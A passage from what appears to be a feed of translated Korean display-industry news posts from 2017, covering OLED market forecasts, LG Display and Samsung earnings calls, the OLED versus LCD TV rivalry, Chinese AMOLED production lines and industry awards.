Accordingly, LG Display announced that E5 in Gumi, which was previously invested, plans to mass-produce the Gen6 POLED with monthly 15,000 units of scale in this year, E6 in Paju plans to mass-produce the Gen6 POLED with monthly 15,000 units of scale in Q2 2018. In addition, they mentioned that at the OLED new line in Guangzhou, China, will mass-produce the Gen8.5 OLED with monthly 60,000 units of scale from the first half of 2019 by the investment of the 5 trillion won. For concerns on the technology leakages about the investment of the Gen8.5 OLED in Guangzhou, the CFO, Sang-don, Kim, said “There was no cases of technology leakages in the LCD line of Guangzhou until now from last 2013 since the OLED is complicated technology to copy, and there would be much benefit by the localized equipment and all investment instead of it.”

Meanwhile, the sales of LG Display for the Q2 this year were reduced QOQ 6% (7,620 billion won) as 6,629 billion won, but, increased 13% versus same quarter of last year (5,855 billion won). The portions by the products are following: 46% for TV panels (QOQ +3%p), 22% for Mobile panels (QOQ -4%p), 17% for Monitor panels (QOQ +2%p), 15% for Laptop/Tablet panels (QOQ -1%p). LG Display explained that the performance in first half declined due to the seasonality impact, but the shipments in second half considered as high-season, will be increased versus first half.

AR and VR Market, Active Expansion in 2019 – What Propels the Growth?

  • Forecast of US$ 58,700 million of total revenue of AR and VR in 2021
  • Active expansion expected in 2019 with UHD contents mass production and fast transfer of large size content for VR through introduction of 5G

 

With recent ICT (Information and Communication Technologies) progress, fourth industrial revolution is receiving attention as the new growth engine. Along with the increased interest in augmented reality (AR) and virtual reality (VR), products such as Oculus Rift and Gear VR continue to be released.

Released AR products include glass types such as Microsoft’s HoloLens and Google’s Google Glass. HMD (Head Mounted Display) based VR type products include Oculus VR’s Oculus Rift, HTC’s Valve, and Sony’s PlayStation VR, and smartphone based VR types include Samsung Electronics’ Gear VR.

According to AR and VR Display Market Report published by UBI Research on 7th, AR and VR product shipment is expected to record 17 million units in 2017 with US$ 3,900 million revenue. UHD contents mass production and introduction of 5G for fast processing large size VR content are expected from 2019. Accordingly, total shipment of AR and VR products is estimated to increase at approximately 54% CAGR, and show 96.4 million units of shipment and US$ 58,700 million revenue.

The report divided the market by product and display for AR and VR market analysis, which is further categorized into AR and VR product total market, market by VR product, AR and VR use display total market, AR and VR use OLED, and market by other display type.

For immersive virtual reality experience without dizziness, display conditions such as latency, FOV, refresh rate, and high resolution were selected as key issues and were analyzed. AR and VR products released between 2014 and 2016 were arranged by types, categorized by display type and key companies and analyzed.

Furthermore, business status of key IT companies, including Apple and Facebook, is included handling AR and VR product release status, related patent, and related company takeover. With the information on key panel companies’ AR and VR product exhibition status, the report is expected to be conducive to understanding key trends of related companies.

UBI Research estimates AR and VR use OLED shipment to be 2.6 million units in 2017, with 2.4 million units of other displays. OLED is expected to show 52% of market share with 48% of other display. In 2021, AR and VR use OLED is expected to show shipment of 52 million units and occupy 80% of the market.

<Shipment Forecast by AR and VR use Display Type>

OLED TV is the competitive TV covering the whole areas such as the design and the sound quality as well as the image quality.

“While the existing OLED TV is focused on the image quality, the current OLED TV is not only picture quality but also covering any areas including the design and the sound quality.”

In the keynote address for the workshop of ‘the 12th Display National R&D Projects’ held on 5 July in Hoengseong, Gangwon-do, Soo-young, Yoon, a director of LG Display, introduced the advantages of OLED TV such as superior image quality, design freedom, and sound quality improvement including the capacity of the light and shade, and color implementation.

 

 

He said, “It is unlike LCD, OLED is the self-emitting, and be able to be controlled by a pixel unit, so that it is capable of expressing the perfect black, and implementing the unlimited contrast range. Therefore, OLED is the best display to express the stars or a bright moon in the darkness.” And also, he emphasized that “OLED TV is free to express the middle gradation through the precise color expressiveness, so that it is able to realize the vivid color as realistic.”

 

Subsequently, he introduced the wallpaper and CSO (crystal sound OLED) which attracted lots of attention in last CES 2017, “If the existing OLED TV is an image quality-oriented, the current OLED TV goes through any areas such as the design, sound quality but also the image quality. Especially, the embedded speaker methods are able to realize the high level of immersion, by agreeing the position of the mouth and the sound along with the effect of design advancement.”

A director, Soo-young, Yoon, also introduced the transparent flexible OLED which can implements the radius of curvature 80R, 40% penetration ratio, and 77-inch UHD, that developed for the commercialization, and mentioned that the transparent and flexible display will be a future display. He also said that they are on-going to develop the devices and materials for solution process, and it needs to be discovered the new application and new form factor.

Finally, he mentioned the P10 factory at Paju, “We expect to ultimately produce new OLED TV at P10 factory which plans to be completed by the end of this year through thorough preparation.”

 

How about the future OLED market performance?

At the seminar titled “OLED market analysis and the latest technology” host by the UBI Research at the FKI last June, the president, Lee Choong Hoon predicted the market through analyzing the OLED industry investment and mass production in the first half of 2017.

President Lee Choong Hoon emphasized that China will lead the OLED equipment market by 2021 due to increase in OLED demand of Chinese set makers. Accordingly, the Chinese equipment market is expected to account for about 48% of the entire equipment market in 2021, investing approx. US $ 40.5 billion.

It is anticipated that such movement of Chinese companies will affect the OLED smartphone market. In 2019, OLED smartphones will reverse the LCD smartphone market, accounting for 80% of the total smartphone market by 2021.

On the other hand, as for the flexible OLED, between 2017 and 2019, Samsung Electronics expects to invest heavily in BOE to be ranked second in the flexible OLED market, which should cope with the increasing demand on flexible OLED of Samsung Electronics and Apple.

 

 

President Lee analyzed that the premium TV market will be formed with larger than 65 inches as the 65-inch panels will be mass-produced at BOE’s Gen10.5 LCD plant from 2018. Consequently, panel makers without Gen10.5 will produce 65 inch panels on the Gen8 line in MMG (multi-model on a glass) method. On the other hand, LG Display is expected to continually produce TV OLED panel at Gen8, and since 2020 at Gen10.5 line.

According to ‘2017 OLED Manufacturing Equipment Annual Report’ published by the UBI research, from 2017 to 2021, it is anticipated that TFT equipment will account for 45% of the market share, followed by OLED pixel forming equipment 17%, encapsulation equipment 13%, cell equipment 13% and module equipment 12% respectively. As the demand on flexible OLEDs is expected to increase remarkably in the future, the market share of cell and module equipment will accordingly increase by 25% with high importance.

UBi Research first half year closing seminar ” OLED Market analysis and latest technology”

OLED Market

■ Review the technical issues & market in the OLED industry in the first half of 2017

■ Market outlook and change points forecast for the 2H of the year thru 1H issue analysis

 

UBI Research will hold an OLED market analysis and latest technology on June 30 (Fri) at the FKI Conference Center in Yeouido, Korea, to finalize the OLED market in the first half of 2017 and forecast the market in the second half of 2017.

 

In this seminar, we will look at the investment trends and future of major panel makers and look at OLED market trends and latest technologies such as development status of luminescent materials of TADF and Iridium phosphorescent materials, technology issues for flexible OLEDs, and surface patterning deposition technology for high resolution so that it will be a place to preview how OLED markets and technologies will change.

 

In this seminar, (Kwon Seong-Ryul, head of Dongbu Securities Industry Analysis team will be presenting on changes in OLED portion in smartphones, TVs, and signage, and polarization of major OLED panel suppliers by country, forecasts of major OLED equipment and materials markets, possibility of foldable display and technical difficulties and etc.

 

Following this, Chang Jung-Hoon, a member of Samsung Securities Tech team is responsible for Samsung’s line expansion, analyzing the current status of OLED panel makers in China, analyzing value chain of OLED equipment makers and material companies, changing supply chain driven by OLED application of Apple iPhone, demand forecast for small and medium-sized OLED panels from investor point of view.

 

Next, Lee Jun-Yeob, professor at SungKyunKwan University will mention the development process of TADF OLED, technical issues of TADF dopant, technical issues of TADF OLED, and current situation of hyperfluorescence.

 

Kim Jae-Hoon, professor at Hanyang University, will disclose the experiment result in which the luminous efficiency is improved by 60% compared to conventional OLED by applying circular dichroism technology to improve the light efficiency of OLED.

 

Lee Choong-Hoon, president of UBi Research, will explain investment prospects and investment trends of major OLED companies, overall equipment market forecast for OLED manufacturing, OLED luminous material market forecast, overall OLED market outlook, available panel shipment to the market and sales forecasts.

 

Jin Sung-Ho, professor at Pusan National University will present the experiment result showing high luminous efficiency while simplifying the OLED structure by introducing a functional substituent having electron transfer property into a red iridium phosphorescent material and developing an iridium-based phosphorescent material for OLED capable of solution process.

 

Lee Ki-Yong, professor at Hanyang University will explain display trends, technical issues of flexible OLED components, and concept design of flexible displays.

 

Lastly, Hwang Chang-Hoon, professor at Dankuk University and a representative of OLEDON, will explain the plane source patterning deposition technology that can improve the OLED resolution by about 8 times by implementing 0.38 um shadow distance (SD).

 

Convention team (Lee Seul-Ji Assistant Manager)/ Tel: 02-577-4903 /Email: sjlee@ubiresearch.com

LG Display, Awarded ‘Achievement Award’ for development of OLED TV at Japan OLED forum

LG Display announced on the 16th that it received the ‘Achievement Award’ for the first time as a foreign company in recognition of the superiority of WRGB technology that enabled the production of large OLED TV and the pioneering of the large OLED TV market at the 24th Japan OLED forum held at the NHK Science & Technology Research Laboratories in Tokyo.

 

55-inch transparent OLED, LG Display unveiled at CES 2017. Source : LG Display

 

The Japan OLED forum is an academic society where experts from Japan’s major industries and academia gather together to discuss and discuss solutions for academic, applied research, and practical applications related to OLED, such as Tokyo University, Kyushu University, Sony, JDI and JOLED.

According to the Japan OLED forum, LG Display is recognized for its technological ability to produce large-size OLED TVs and for pioneering large OLED TV market and won the award for achievement for the first time as the overseas company.

The technology that LG Display recognized for its achievements is WRGB technology that builds up R, G, B organic materials on a thin film transistor (TFT) vertically and adds white elements to make four subpixels, not the RGB methods that arrange R, G, B organic materials on a thin film transistor (TFT) horizontally..

LG Display used this technology to mass-produce OLED TV panels for the first time in the world in January 2013 while pioneering the large OLED TV market.

LG-Display emphasized “this award is significant because it acknowledged the technology of LG Display, which produces large-sized OLED panels in Japan, which is the mainstay of flat panel displays”.

Oh Chang-ho, Managing Director of LG Display’s OLED TV Development Group, said, “I am extremely honored that LG Display has been recognized for its OLED technology by industry-leading experts”, and “We will make efforts to contribute to the development of the display industry by developing differentiated OLED products in the future,” .

On the other hand, LG-Display was not only able to realize excellent image quality with 65inch UHD Wallpaper OLED panel in SID 2017 but also received the Display of the Year this year as an innovative product that presents new possibilities for display in terms of application scope and design.

UBI Research , Published the Market Report on OLED Manufacturing Equipment

■The OLED equipmentmarket is expected to reach $84.9 billion in 5 years.

■Korean and Chinese panel companies will take over 90% of investment in panel equipment.

 

According to ‘2017 OLED Manufacturing Equipment Annual Report’ published by UBI Research, the entire equipment market of OLED is expected to total$84.9 billion(about 93trillion KRW) from 2017 to 2021. In 2017, $16.4 billion(about 18 trillion KRW) will be invested in OLED equipment.

The OLED equipment for the market analysis is largely categorized by process into 5 kinds of equipment; TFT, OLED, encapsulation, cell, and module. The investment costs including distribution equipment and test equipment of each process are calculated, and touch-related equipment is excluded from the market analysis.

Hyun Jun Jang, a senior researcher of UBI Research forecasts that the two countries will lead the OLED market due to the massive investment from both Korean panel companies occupying the OLED industry and latecomers Chinese panel companies.

According to this report, China and Korea will actively invest in OLED equipment from 2017 to 2017, showinga 48% and a 42% OLED market share, respectively. In particular, the two countries are expected to make the largest investment of $32.8 billion(about 36 trillion KRW) in 2017 and 2018.

Samsung Display has been expanding small and medium OLED lines to be applied to Galaxy series and Apple, and LG Display has been investing in both small & medium and large-size OLED lines. China’s BOE and CSOT are likely to invest heavily in OLED line because especially BOE has decided to invest more than 30K in small and medium OLED lines every year since 2017.

 

<left) OLED Equipment Market Share by Process,    right) OLED Equipment Market Share by Country>

 

From 2017 to 2021, itis forecast that TFT equipment, OLED pixel patterning equipment, encapsulation equipment, cell equipment, and module equipment will have a 45%, 17%,13%,13%, and 12% market share, respectively. In near future, the demand for flexible OLED will be likely to increase so that cell and module equipment will gain more importance having a 25% market share.

OLED, the mainstream of HMD devices for VR

The ‘PlayX4’ opening ceremony, a next-generation augmented game show, was held at Kintex exhibition hall 2, Ilsan, Goyang, Gyeonggi-do on the 25th. During the event, a number of companies presented VR contents, using HMD (head mounted display) devices in application of OLED, such as Oculus Rift, HTC Vive and Gear VR to improve immersion and reduce motion sickness.

Realitymagiq, a professional of VR game developer, introduced a multiplay game. In reply to a question on immersion into VR, “Device performance is essential for immersive in VR, and to reduce latency, the major culprit for sickness, OLED is more than enough,” said Kim Sung-kyun, the CEO of Realitymagiq. “However, resolution needs to be further developed and so does GPU performance.”

 

 

Motionhouse Co., Ltd. has introduced MotionGear for users to experience tilting and engine vibration during actual driving. Oculus Rift OLED-applied headset, was used; “Oculus Rift was the one that could minimize the motion sickness most”, said a participant.

 

 

Latency refers to the time length for the CPU to receive information from the tracker and output, which is related to the response time of the display and the information processing of the graphics card. The response time of the display required in VR is known to be less than 3ms. Samsung Display compares the response time between OLED and LCD on the blog and emphasizes that OLED is the optimal display for VR HMD device.

 

The Response time between OLED and LCD, Source: blog.samsungdisplay.com

 

In fact, many VR content companies used OLED-applied HMD devices such as Oculus Rift, HTC Vive, and Gear VR, and users seemed to enjoy VR game, not suffering from dizziness

Recently, aside from Oculus Rift and HTC Vive, many HMD makers such as recently launched Sony’s PS VR and Royole’s Royole Moon are OLED-based, not LCD, and surely the OLED application is expected to expand further.

2017 Q1 AMOLED Performance Analysis

According to UBI Research, sales of AMOLED in the first quarter of 2017 were US$ 4.31 billion, up 15% from the same quarter last year (Q1 2016). Shipments amounted to 99.1 million units, up 9% from the same period last year.

AMOLED accounted for 88% of smartphone sales and 7% of TV sales. Especially, TV sales market share grew by 5% YoY and it shows big growth of OLED TV market.

With Samsung Electronics’ Galaxy S8 and S8+ launches and mass production of AMOLED panels for Apple, and joining OLED TV market of Japanese companies such as Sony, Toshiba and Panasonic, the AMOLED market will continue to grow even after Q2. Mobile AMOLEDs are expected to ship more than 100 million units each quarter, and TV AMOLEDs are expected to ship more than 300,000 units per quarter.

UBI Research estimates that the total AMOLED market will grow to a CAGR of 33% by 2020, reaching US$ 59.3 billion.

 

<Total AMOLED market sales forecast>

[SID 2017] Premium TV market, LCD vs OLED war re-ignition

In the premium TV market in 2017 OLEDs seemed to catch up early with LG Electronics’ OLED TV sales volume growth and Sony’s OLED TV market gains. However, with the announcement of AUO, Taiwan’s leading LCD maker, that LCDs are more advantageous in the premium TV market than OLEDs, once again, competition between OLED TVs and LCD TVs is expected to intensify.

In the keynote session of SID 2017 held in Los Angeles, USA from May 22, AUO CEO Paul Peng made a presentation with the theme of “The warring states of display technologies” that LCDs would continue to outperform OLEDs in the premium TV market.

Paul Peng has three major claims that LCD is more dominant.

First is the performance that LCD is superior to OLED in terms of maximum size, peak brightness, ambient contrast ratio, color gamut, image sticking, and lifetime.

Second is the cost. In the black Friday in 2016, 65-inch HDR 4K narrow bezel LCD TV was US $ 1,099, while OLED was more than double with US $ 2,800.

Lastly, eco friendly. The industrial water used in the manufacturing process is used more for OLED manufacturing than LCD, and the power consumption of OLED is about twice that of LCD. The replacement cycle is 2 to 4 years for OLED, but LCD is 5 to 8 years which is more than twice as high as LCD, so is more environmentally friendly than OLED.

Since the launch of OLED TVs, there has been intense competition between LCD and OLED camps, but OLED market share continues to rise in the premium mobile market, and even in the premium TV market OLED seemed to be ahead of LCD. However, with AUO’s announcement in the keynote of SID 2017, the world’s largest display society, it is expected to intensify the fierce battle between OLED and LCD in the display industry.

  

 

Chinese panel makers BOE and Tianma started small and medium sized AMOLED production, acceleratedly chasing Samsung.

BOE

It is the first time for China to produce Gen6 flexible AMOLED; it is expected that BOE’s mass production not significantly affected by yield due to the tremendous support from the Chinese government will cause such impact on the small and medium-sized AMOLED market where Samsung has monopolized so far.

B7 line, which was built in May 2015 with the investment of approx. 465 yuan, is expectedly used in high-end mobile display in China, with 48K- large monthly capacity based on Gen6. In Dec last year, 45K investment was confirmed in Mianyang’s Gen6 flexible AMOLED production line B11 and mass production is expected to operate in 2019.

 

<5.5 inch FHDfoldable AMOLED launched at CIDC 2016>

 

In addition, Tianma successfully lighted up the rigid AMOLED panel manufactured in Gen6 LTPS AMOLED production line in Wuhan for the first time in China on April 20th. Tianma has first built the Gen 4.5 AMOLED pilot line in China as well as Gen 5.5 AMOLED production line in Shanghai for mass producing small-medium AMOLED display.

Also CSOT aims to mass-produce in the fourth quarter of 2018 as the investment in Gen6 rigid and flexible AMOLED production lines at Wuhan’s T4 plant has been proceeding. Visionox plans to additionally expand Kunshan’s Gen5.5 line (V1, presently 4K) phase1 11K and Phase2 15K investment is being proceeded. ROYOLE also invested in the Gen 5.5 flexible AMOLED mass production line, and LOI of the SFA deposition equipment was announced last January. The expected capacity is 15K.

In the Korea-dominated AMOLED market, Chinese panel makers are taking up the market share rapidly through the Chinese government support and their huge domestic market. Lee Choong-hoon (chief analyst) at UBI Research specialized in AMOLED market predicts that by 2021, Chinese AMOLED panel makers will record their second largest shipment volume with approx. 16% of the entire market share via full-fledged shipment from 2018, followed by Korea by 2021 “.

 

<forecast of AMOLED panel shipment by country>

OLED of Samsung•LG Display, Selected as the Display of the year

Samsung Display and LG Display announced on the 18th that their technology were recognized as OLED respectively in the Society for Information Display (SID), the world’s largest Display society.

 

According to the two companies, in SID awards, Samsung Display’s quad-edge flexible OLED is selected for ‘DIA, Display Industry Awards’ and LG Display’s 65inch UHD Wallpaper OLED TV panel is selected for ‘Display of the Year’

 

SID awards the prize to promising innovative display products, components, and applications that unveil the future of the global display industry among the products launched last year.

 

<Samsung Display’s quad-edge flexible OLED, source: Samsung Display>

 

According to SID, Samsung Display’s quad-edge flexible OLED in Galaxy S7 Edge was the first in the industry to display the top, bottom, left, and right sides of the display in a curved shape, and won the Display Industry Awards for its outstanding technology.

 

This product uses a BM (black matrix) area minimization design technology to further reduce the bezel by 0.2mm, the upper and lower end portions (curvature radius 25R) were finely changed to realize a gentle curved shape. In addition, for the aesthetics and comfortable grip, the left and right edge portions of the panel were subjected to four different curvatures (curvature radius 35R → 9.4R → 5.4R → 3.8R).

For this award, Jeon, Seok-jin, marketing director of Samsung Display mentioned “Samsung Display has introduced differentiated products in the market through the state-of-the-art flexible OLED technology,” and said “We are pleased to continue to lead the display market with quad-edge flexible OLEDs.”

 

<LG Display’s 65inch UHD Wallpaper OLED panel, source: LG Display>

 

On the other hand, LG Display’s 65-inch UHD Wallpaper OLED panel, which was selected as the display of the year, was evaluated as an innovative product that not only realizes excellent image quality by adopting OLED technology but also presents new potential of display in terms of application range and design.

 

The OLED TV with this panel has already won numerous awards from the world’s leading media such as ENGAGET and SINET as well as CES 2017, On the 16th, it received 89 points (TV evaluation part) which is the highest point from the consumer report, American consumer media.

 

OLED panel applied to 65inch UHD Wallpaper OLED TV is less than 1mm thick and when it is made in TV set, thickness is less than 3.55mm and weighs only 7.4kg so that it can be brought into close contact with the wall like a frame. In addition, maximizing the design effect increases the immersion feeling when watching TV.

 

Yoon, Soo-Young, managing director of LG Display Research mentioned “LG Display has been innovating differentiated products, technologies and core competencies and providing new value to customers and consumers,” and said “As a company representing the global display industry, we will continue to do our best to lead the next generation of technology.”

2017, Will be the Year of OLED TV?

On 16th, Consumer Reports, an American consumer magazine rated LG Signature TV W 89 scores in the TV quality category. It was an all-time high, overtaking LG OLED TV(OLED65C7P) that ranked number 1 with 88 scores in the ‘4K TV(Best 4K TVs to Buy Right Now)’ category in April.

 
LG Signature TV W features not only the thinnest display(4mm including a wall-mounted TV stand) by applying OLED panel and specially-designed finishing materials, but also the greatest immersion by eliminating unnecessary factors. Due to that reason, LG Signature TV W won ‘Best of the Best’ and ‘Best TV Product’ awards at CES 2017 and was once acclaimed as ‘a beautiful TV like a work of art’ from Engadget.

 

<LG Signature TV W, Source : mybroadband>

 

Meanwhile, LG Ultra OLED TV and Sony OLED TV came in second. Among the 11 TV models from top 1 to 10 selected from Consumer Reports, 10 out of 11 were OLED panel-based TVs, whereas a LCD-based TV was only Sony’s BRAVIA.

 
OLED TV is receiving lots of attention of consumers due to its great picture. In last March, Director Yoon Soo-young of LG Display said at the 3rd OLED Korea Conference hosted by UBI Research that “OLED TV on display has been moved from the corner to the center of the Best Buy LG store”, and OLED TV is becoming the mainstream of the premium TV market. Accordingly, many second movers are joining the trend of OLED TV and have released OLED TVs or announced a plan to release.

 
Toshiba launched 55 and 65-inch OLED TV Regza last march, and German luxury AV brand Loewe lunched its new flagship Bild 9 series, 55 and 65-inch 4K OLED TV on May 1, beginning to release OLED TVs in the premium TV market in earnest.

 
In addition, Sony, which attracted big attention for its OLED TV unveiled for the first time at CES 2017, officially announced on May 8th that they will firstly sell 55 and 65-inch sizes of 4K BRAVIA OLED TV A1E series. Panasonic also announced on May 14th that they will firstly sell EZ900, 950, and 1000 among 4K OLED TV in Japan from June.

 

<Sony’s 4K BRAVIA OLED TV A1E,  Source : Sony blog>

 

Meanwhile, Choong Hoon Yi, president of UBI Research(senior analyst) analyzed at the Topic seminar in April that Sony’s OLED TV is expected to sell about 400,000 in 2017. Accordingly, he expected Sony’s OLED TV will have about 27% market share in the OLED TV market and about 38% in 2021.

Sony’s OLED TV, its full-fledged sales operation to start from June 10th

Sony announced on the 8th May that two models (55” and 65”) of the 4K BRAVIA OLED TV A1E series shown last Jan at CES 2017 will be launched in Japan as from June 10. Sony’s BRAVIA OLED TV is equipped with LG Display’s WRGB OLED, 4K high-definition processor X1 Extreme and acoustic surface technology which directly generates sound with the screen vibrating. A ball park price for 55-inch is 500,000 yen and for 65-inch, 800,000 yen. Sony is also planning to release 77-inch wide TV which will be expectedly launched this autumn.

The CEO of Ichiro Takagi Sony Visual products talked about the OLED TV strategies, saying ” OLED panels as well as premium models using the X1 Extreme will offer the best screen quality, sound and immersive experience”.

The Sony’s OLED TV launch is expected to bring great impact on the premium TV market currently predominated by Samsung Electronics and LG Electronics. LG Electronics, expected to compete directly with Sony, is planning to introduce new OLED TVs at a lower price than last year; the focal point is how Sony’s OLED TV will affect the commercialization of OLED TV and display industry.

In line with it, Mr. Lee, Choong Hoon, the CEO of UBI research has foreseen at the Topic seminar last April held in the conference center of Yeouido JeonKyungYeon Hall on 21st April 2017 that Sony’s OLED TV will account for about 27% of the total OLED TV market with approx. 400,000 sets to be sold in 2017, and 38% of the total OLED TV market with 3.4 million sets in 2021.

 

<OLED TV market prospect>

Competitiveness of AMOLED emitting materials companies

UBI Research analyzed the competitiveness of major 9 emitting materials companies based on their sales figures of 2016, the number of applied or registered patents in Korea, the number of the materials being supplied to the products of display companies, and 2017 forecast revenue. (Source: 2017 AMOLED Emitting Material Market Report, UBI Research)

 

<Graph of the Analysis on the Competitiveness of Major Emitting Material Companies>

 

The result showed that the highest competitive company was Doosan. The reason for this is that it has the greatest sales performance and the highest number of manufactured products, and its patent activity is second largest after LG Chemical. Doosan has straightly increased 7 steps, in comparison with the order analyzed last year.

The second highest competitive company is Samsung SDI, followed by UDC. By adopting flexible AMOLED for Galaxy S8 red phosphorescence host, Duksan Neolux has increased 3 steps from the last year to rank number 4.

Consumer reports, being dissent from an evaluation of premium TV launched in this year

Consumer reports picked OLED TV of LG Electronics as the best 4K TV to buy right now, while gave QLED TV of Samsung Electronics 10th place.

 

<THE BEST 4K TV LG OLED65C7P selected by Consumer Reports, Source: Consumer reports>

 

Consumer Reports which is a consumer magazine in US, selected OLED TV OLED65C7P of LG Electronics launched in this year as the ‘Best 4K TVs to Buy Right Now’ on 16th, since ‘OLED TV is the best for expressing black, so it can provide entirely different image quality’.

Consumer Reports evaluated that OLED65C7P has high resolution, excellent image quality and outstanding sound performance. It has the best HDR performance among the products tested this year and it will be hard to find a better TV than it.” Consumer Reports gave 88 points, the highest score ever. This is higher score than 86 points that OLED65G6P of LG Electronics received in November.

 

In addition, OLED65G6P of OLED TV model in 2016 of LG’s got 86 points and OLED65E6P was followed as 85 points. OLED55E6P and OLED55B6P jointly received 83 points.

<Samsung Electronics’ QN65Q8C, Source: Consumer Reports>

QLED TV QN65Q8C of Samsung Electronics launched in this year gained 79 points. Consumer Reports explained that it is excellent in resolution, image quality, and sound quality, however there was black mark for the high price in spite of backlighting existence, limit of expression for black due to backlighting and cloud phenomenon. And Consumer Reports quoted the words of industry source that it would take more than three years for launching of true self-emitting QLED TV.

In the ‘Solution process OLED annual report’, UBi research expected that QLED deposition materials have issues on a short life-span compared to phosphorescence OLED deposition materials that are currently being commercialized, efficiency problem, development of eco-friendly devices, lack of infrastructure compared to OLED. In case of not establishing infrastructure and aggressive investment such as manpower recruitment and expansion of the development investment, the time of commercialization will be far from here.

LG Electronics concentrates on ‘product competitiveness not price competitiveness’ in the premium TV market

 

LG Electronics reported that they plan to focus on product competitiveness rather than price competitiveness in the premium TV market in future through the conference call in Q1 of 2017 which was held on 27th, April. During the Q&A session on ‘the sales strategy of OLED and premium TV’, Jin-ho, Ha, the director of HE (Home Entertainment) said that “we will continue to expand OLED position in the premium TV market and also in future what the competitiveness we need in the premium TV market is product competitiveness rather than price’s.”

The performance in Q1 of HE in LG Electronics was 4 trillion 3261 billion won of sales volume and 3822 billion won of sales profit. It has been reduced 4600 billion won versus previous quarter under the influence of off-season. Nonetheless, YOY (Year on Year) has been kept at the same level. The sales volume was grown up in the area of North America, South Korea and Latin America for the reason of sales expansion of premium TV, though the market in Asia was decreased versus QoQ for the lack of sufficient demand.

Jin-ho, Ha, the director of HE in LG Electronics said that “We improved the profitability versus previous quarter by expansion of premium product sales, improvement of cost structure and flexible management for the panel price rise.” He also expected that the stagnant demand in whole TV market would be continued, but the demand would be increased in the area of North America, Latin America and Asia where are holding relatively high sales ratio.” In addition, “We would maintain sound profit structure and strengthen premium position by diverse global launching of products which leads the market such as ‘LG Signature OLED TV W’.”

He answered the questioning of in future panel price expectation and OLED TV line-up idea, “The panel has been significantly rising from in Q4 of 2016, and it has reached up over 60% versus June where is the lowest point last year”, and “We will design completive line-up composed of ‘premium, best, middle and low’ to aim the premium market within OLED TV group.”

For the question of the strategy in TV market in future, “In present which panel cost is increasing, we would operate the strategy based on the profitability by avoiding a simple volume competition, and we think that the market share in low price TV market is not meaningful. So that we plan to go forward the improvement of quality as a response based on the premium TV market having over 2000~2500 dollars.”

The strategy in TV market of LG Electronics announced at the conference call in Q1 2017 is consistent development of premium TV lineup which brings better profitability with high value-added product. They also expressed that will firmly build their position in the premium TV market with product competitiveness by image quality and technology rather than price competitiveness related to panel price.

Samsung Electronics, OLED catches 60% of whole display sales

 

Myeong-jin, Lee, the executive director of IR in Samsung Electronics announced that “sales volume in Q1 was recorded as 50.5 trillion won.” in the conference call of Q1, 2017 which was held on 27th, April. And “Samsung Electronics recorded 7 trillion 2900 billion won at the display area among total sales volume in the first quarter and the sales profit was 1 trillion 3000 billion won. OLED volume occupied over 60% in the total display sales volume in Q1 of Samsung Electronics.”

Chang-hoon, Lee, the director of Samsung Display expected that “The employment of OLED panel from set manufacturers in Q2 would be consistently increasing and Samsung Electronics will maintain stable performance with response for external customers and supply flexible products to core customers.” As an expectation of OLED market in 2017, it forecasts sales growth compared to previous year by expansion of flexible product supply, however there are risks due to intensifying competition of LTPS-LCD within middle-low price market.”

Yoon, Lee, the director of image-strategy marketing team, expected that “the performance in Q1 of TV market has been decreased versus previous quarter due to off-season after peak at the end of the year, and it would show degrowth compared to previous year’s same quarter for the influence of reduced demand in the area of Europe and Latin America.” Furthermore, “It expected the performance in Q2 in TV market would slightly grow versus previous quarter as accelerating the launching of new product by company, but it will show degrowth compared to previous year’s same quarter for the effect of reduced consumption in Europe.” He also expressed that they intend to concentrate on profitability by expansion of high value-added product lineup with curved and extra-large TV along with complete sales of quantum dot QLED TV products.

During the following Q&A session, at the response of inquiry of whole OLED production line in future, “LCD 7-1 line is under switching to OLED production line from the end of 2016 and OLED A3 line is in line with plan. The investment of OLED will be progressed according to customer’s needs in the future market.”

The answer for responding question of the OLED TV, “QLED TV overcomes shortcomings of OLED TV, and it is a perfectly different product for design, image quality, and life-style of consumers with the world’s first and metal-added quantum dot material. We ended the disputes over image quality by implementing 100% color volume which maintains own color without any influence by brightness.”

For a question of delay for part supply of Galaxy S8 and S8+, “We are trying to prevent problems for the initial supply through pre-contract with involved companies and it is smoothly progressing without any difficulties. Other parts will be also supplied without any troubles through dualized operation.”

At the last question for the OLED TV development of Samsung Electronics, “We are developing a diverse technology to apply for the TV as well as OLED and now, we are concentrating upon technology development for the next generation including Quantum dot. We will strengthen the market control at the field of differentiating products, extra-large and high value-added products through a diverse new technology as well as OLED TV and catch the securement of profitability.”

LG Display, 70% of facility investment focused on large-sized OLED and POLED in this year

 

LG Display announced that it will concentrate 70% of CAPEX(investment cost for future profits) on large-sized OLED and POLED, and among them, the proportion of POLED will be higher than that of large OLED through the 2017 Q1 conference call held on April 26.

Kim, Sang Don, CFO of LG Display said “The specific size and timing of the investment is under review, but investing more than 70% of the investment in OLED remains unchanged.” Also revealed LG Display’s future investment direction by adding “Since OLED investment costs are high, we will deeply examine the confidence of our customers and the certainty of market demand, and will invest in a conservative position.”

LG Display said it will continue to secure LTPS-LCD competitiveness. Kim, Sang Don, CFO said ”We plan to switch the Gumi E5 line to POLED instead of LTPS-LCD in the second half of this year, but we think there still is demand for LTPS-LCD and opportunity for high-resolution smartphone manufacturing.”

For the LG Display’s plan for OLED Lighting business and OLED panel shipment, mentioned “OLED lighting will be produced about 15,000 sheets in the second half of 2017, and POLED will be mass-produced in Gumi E5 at the end of 2Q 2017.

For a plan for OLED TV production expansion, said “The reaction for OLED wall paper TV and Crystal Sound OLED released at CES 2017 in January this year, is better than expected in the TV market.” and mentioned “We expect OLED TV shipments to reach 300,000 units in 1Q and 500,000 units level in each quarter of the second half of this year.”

The forecast for ultra-large TV market in 2017, it is forecasted “LG OLED TV occupies an overwhelming share in ultra-large OLED TVs of 60 inches and above, and the ultra-large TV market is expected to grow continuously and record more than 30% of growth rate in the future.”

For the LG Display’s counterplan forward for the Chinese panel makers’ LCD technology, mentioned “Until 2020, it is concerned that the Chinese LCD panel makers are expected to improve their LCD technology and invest in Gen 10, however, LG Display’s IPS technology, consistent quality of mass production and stable supply chain are enough to overcome.”

Meanwhile, said that the sale proportion by product based on LG Display’s sales amount in Q1 this year were 43% for TV panels, 26% for mobile panels, 16% for notebooks and tablets, and 15% for monitors. Also, quarterly operating profit reached a record profit of 1.269 trillion won through continuous overall price increase trend of panel and the mix operation of profit-oriented products of high-resolution, high-end IT products and etc.

Tianma Unveiled the China’s First Panel Produced in a Gen6 LTPS AMOLED Production Line

On April 20, 2017, Tianma successfully turned on the China’s first panel produced in a Gen6 LTPS AMOLED production line in Wuhan, China. The investment in Tianma’s Gen6 was made starting from January 2016.

